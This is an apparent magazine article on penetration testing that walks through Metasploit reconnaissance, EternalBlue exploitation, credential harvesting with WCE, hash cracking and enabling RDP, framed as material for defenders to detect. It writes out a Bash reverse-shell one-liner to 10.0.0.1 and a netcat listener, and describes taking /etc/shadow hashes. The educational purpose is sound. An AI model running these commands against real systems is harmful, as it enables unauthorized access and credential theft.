Black Hat, White Hat

Cybersecurity professionals often call the steps taken by pen testers the "hacker lifecycle." In a previous article [1], I outlined the pen test discovery process. In this article, I focus on the typical steps that pen testers undertake to automate and orchestrate attacks (Figure 1). In a future article, I will show how each of these steps can be detected by a good security analyst with the right tools.

Although more than a single hacker lifecycle exists, Figure 1 shows many of the steps that most attackers will take when compromising a resource in the cloud – or even in a traditional network. I've seen quite a few useful pen testing/hacker lifecycle models, and although none are perfect, two of the more popular models are the Cyber Kill Chain© (copyright Lockheed Martin) [2] and the MITRE ATT&CKTM model [3].

Rather than say that all models have their strengths and weaknesses, I would argue that a good pen tester will customize and alter basic steps along the way according to the nature of the organization being tested. The main steps will be similar; however, a pen tester would make different decisions attacking a small business web and database server to compromise credit card information than in attacking a publishing company with the goal to obtain valuable intellectual property.

With that in mind, you should focus on choosing some sort of model and then customize it for your own organization. This way, you will emphasize certain areas and steps of the hacker lifecycle that are the most important for your particular situation. Cybersecurity is very context specific; what works in one organization or situation might not stand up well in another.

From Defender's Dilemma to Hacker's Dilemma

Pen testing should be used to improve the "blue team" (see the "Red Team, Blue Team" box). As a pen test is conducted, it leaves behind indicators of attack (IoAs) and indicators of compromise (IoCs). An IoA is basically evidence left behind, even if a particular attack doesn't lead to a break-in or data breach. An IoC is evidence left behind if an attack has successfully tricked or breached a security control. For example, an IoA could be a system scan or an unsuccessful attempt to create or exploit a buffer overflow condition. An IoC would show up when an attacker has been able to exploit a buffer overflow successfully, or otherwise gain unauthorized access to a system.

Typical reasons for pen testing include compliance and fixing weak areas in your security approach, but unless you coordinate both the pen test and analytics functions carefully, you're likely wasting your time.

More importantly, companies that are the most successful at managing cybersecurity threats are those that focus on the steps hackers have to take to be successful. Too often, IT workers worry about what is often called the defender's dilemma: "If I make one mistake, then the hacker will get through."

This type of thinking is less useful than focusing on what the industry calls the attacker's dilemma. Consider Figure 1, again. It outlines the typical steps an attacker has to take, whether a resource is in the cloud, is a supervisory control and data acquisition (SCADA) system, or is a typical Windows server or notebook computer. In many ways, the hacker has the more difficult job. After all, the attacker has to consider the following problem: "If I make one misstep as I go through this attack chain, I'm going to be discovered."

One mistake during any of the phases (e.g., discovery, persistence, escalation, data egress), and the hacker will get caught. It's the responsibility of the pen tester and the security analyst to work together and improve intrusion detection and SIEM systems so that they more readily find the telltale traces and artifacts and report them accurately.

A number of companies and organizations consider themselves to be too small to have separate, dedicated cybersecurity teams. However, the point isn't really to create teams of individuals; rather, the point is to help a company create the proper functionality to refine and customize existing security controls already in place and justify additional security controls, as necessary. No matter how large or small the IT activity or company might be, the focus should be on how pen testing and security analytics companies can improve security control implementation. For example, how can the pen testing team help improve the IDS and SIEM thresholds?

Conducting an Attack

Now it's time to look at the typical steps that pen testers take to automate and orchestrate attacks. In this article, I use Metasploit. For better or for worse (usually worse), Metasploit has become the poster child for pen testing. Although better tools are out there, including those that talented pen testers create themselves, most pen testers have to get pretty creative, which means that they start coding their own exploits according to their situation. Other times, they're lucky enough to use preexisting tools such as Metasploit, Burp Suite, or Browser Exploitation Framework (BeEF) to manipulate web-based connections.

Table 1 is a quick overview of the steps a pen tester takes when penetrating systems, and I'll take a look at each of the steps in detail.

Penetration, Insertion, and Persistence

Figure 2 shows the typical Metasploit directories. One of the best things applications like Metasploit brings to the table is the ability to automate processes. For example, if you want to use open source intelligence (OSINT) tools such as WHOIS and Shodan, why not configure Shodan to use these tools automatically?

From there, you can run Metasploit and choose directories on the basis of your needs. If you want to conduct scans from within Metasploit, for example, you can configure Metasploit to work with both Nmap and Shodan (Figure 3). The results of the now-combined functionality of both Shodan and Metasploit are shown in Figure 4.

In the scan, you've used Metasploit and Shodan together with the type of automation and efficiency that can help you discover information quickly and exploit it. This approach also allows you to use Metasploit to create more effective reports about your activities. One of the most overlooked activities in pen testing is the reporting stage; by automating and combining the discovery and penetration functions, you can better go back and retrace your activities during the report stage. The result will be a more thorough, accurate report.

Reverse Shell with Metasploit or Bash

Known as the "handler," the reverse shell allows you create an exploit to attack a system. All you do is deliver the code to a victim through social engineering or another exploit, and you're in. With a reverse shell, you set a local port and IP address to which the victim system connects back. Then, once an individual clicks on the file, the victim system immediately connects back to your system. You can then proceed to take control of the victim's system.

The sequence begins with Computer A (the victim system) receiving the following code:

$ bash -I <& /dev/tcp/10.0.0.1/444 0<&1

that causes Computer A to connect to Computer B (the attacking system that receives the connection from Computer A), which then runs:

$ nc -l -p 444 | more

To get this attack going, a pen tester could use Metasploit's Meterpreter shell to issue a command to listen for the reverse shell. Figure 5 shows how you would navigate to the appropriate directory (e.g., windows/x64/meterpreter/reverse_tcp). Once there, you can set the IP addresses and ports (Figure 6) and simply listen for a connection back from the victim system (e.g., Computer A).

Of course, you don't have to use Metasploit to get an attack going. For example, notice the following attack sequence in Figures 7 and 8. In Figure 7, james@jamesvb1 is the victim system. Its user has just issued a relatively simple Bash command that opens port 4444 on the local system (see the "Who Initiates the Connection, Anyway?" box). This Bash command also ties that port to a Bash terminal that has full root access and tells the system to go look for a remote system with the IP address 10.0.0.1. Once the command is issued, the attacker simply needs to be listening for it using either Metasploit's Meterpreter shell or a simple listener.

Hackers and pen testers use commands like this all of the time. Last month, I was talking to a friend who works for a company that monitors Fortune 50 banks and other financial institutions. I mentioned this type of attack and asked if it was too old to discuss. He said it is, in fact, the most common attack vector he and his company see all day long. All an attacker has to do is trick someone into clicking on a file with this command embedded in it.

To create a simple listener, you don't even need Meterpreter. In Figure 8, james@parrot is the attacker and is using only the netcat (nc) application. This command opens port 4444 and listens for anything. Once the reverse connection is made, you can see that user has full root access to the victim system. Notice that the attacker has a terminal open on a standard Parrot system and then issues the nc command. Almost immediately, the attacker is then given a new shell from jamesvb1, which DNS identifies as s1.stangernet.com.

Figures 9 and 10 show another sequence. In Figure 9, the user has opened an unauthenticated Bash shell that the attacker exploits in Figure 10. The IP address of this system is 10.0.2.20. This particular script could easily be executed within a shell script or even by an unsuspecting user. Figure 10 then shows how attacker 10.0.2.20 opens a simple Bash shell and connects to the remote system with netcat.

Notice that in the above case, the attacker was able to obtain two things: (1) the content of a user's password hash, as found in the /etc/shadow file, and (2) the content of file q1_2018_finance.xls, which is quite possibly very important confidential company data.

Additional Actions and Attacks

Now the attacker has the opportunity to use his or her imagination and engage in various activities (e.g., establish persistence; manipulate data; steal data, known as "data egress" in many circles; or upgrade the connection). Although the EternalBlue exploit was leaked by the Shadow Brokers group in 2017, it is still used successfully all around the world. If you don't believe me, try using Shodan or some other tool to find all of the older, public-facing Windows systems that have port 445 open. Metasploit has created a fairly useful environment to exploit it.

Security analysts and pen testers from around the world still see successful exploits conducted on systems that can't be updated easily. Most of these systems are used to control industrial control and SCADA systems.

The following are typical moves a pen tester can take to automate this attack using Meterpreter. As shown in Figure 11, you navigate to the /windows/smb/ms17_010_psexec/ directory, set the local and remote IP addresses and ports, and compile the code. With the run command, you then connect to the victim system. You're in! As you can see, the Metasploit Framework console (msf) now has a "handler" program ready to conduct additional exploits.

For example, you can now engage in some credential harvesting. Figure 12 shows how you can upload the Windows Credentials Editor (WCE) from the /usr/share/wce/ directory. This file allows you to obtain user credentials easily from a Windows Security Account Manager (SAM). Notice that I'm doing this from within the already-established reverse shell that I created earlier. Once I upload the wce64.exe file, I can then execute it; it will discover any particular user credentials that exist.

In this case, I was able to grab the credentials for a default account that has been activated. Notice the portion of the readout outlined in white. This is the most important element, because it is the Windows SAM hash for a particular user. Now that you have obtained this hash, you can decrypt it using any resource you want, such as John the Ripper. In my case, I've decided to use an online password cracking tool (Figure 13).

The result is that I have now been able to crack at least one user account. I now can go any number of directions. To avoid creating further IoCs, I could simply close down my connection and walk up to the victim system and log in "interactively."

Or, I could take further action with a Meterpreter shell command. For example, there's no reason to limit yourself to grabbing just one password. Using the lsa_dump_secrets command, I can obtain historical passwords listed in the SAM database (Figure 14). These are passwords that are no longer in use, but can be very, very useful when exploiting other systems.

I don't need to limit myself to obtaining old passwords, of course. Once I've opened a shell using my reverse TCP connection, I can then use the reg add command to modify the registry of the Windows system (Figure 15).

In this example, I've added a Windows registry entry that activates the RDP in the victim system. All I have to do now is use RDP from any system I like and connect using the login credentials I've harvested. As a pen tester rather than a hacker, I wouldn't do anything nefarious, of course.

Conclusion

The job of a pen tester is to create "noise," artifacts, and IoCs that help security analysts improve the thresholds of their intrusion detection systems. By listening carefully to my activities, security analysts can create customized, useful signatures for IDSs such as Bro or Snort. As a pen tester, I have the opportunity to automate and coordinate many of these activities. Doing so helps me save time, as well as get more creative when faced with a particular task.

You don't have to limit yourself to Metasploit and reverse shells, but these tools provide excellent examples of what pen testers are able to do with a vulnerable system. Stay tuned for a future article, when I show how each of the steps discussed in this article can be detected by a good security analyst with the right tools.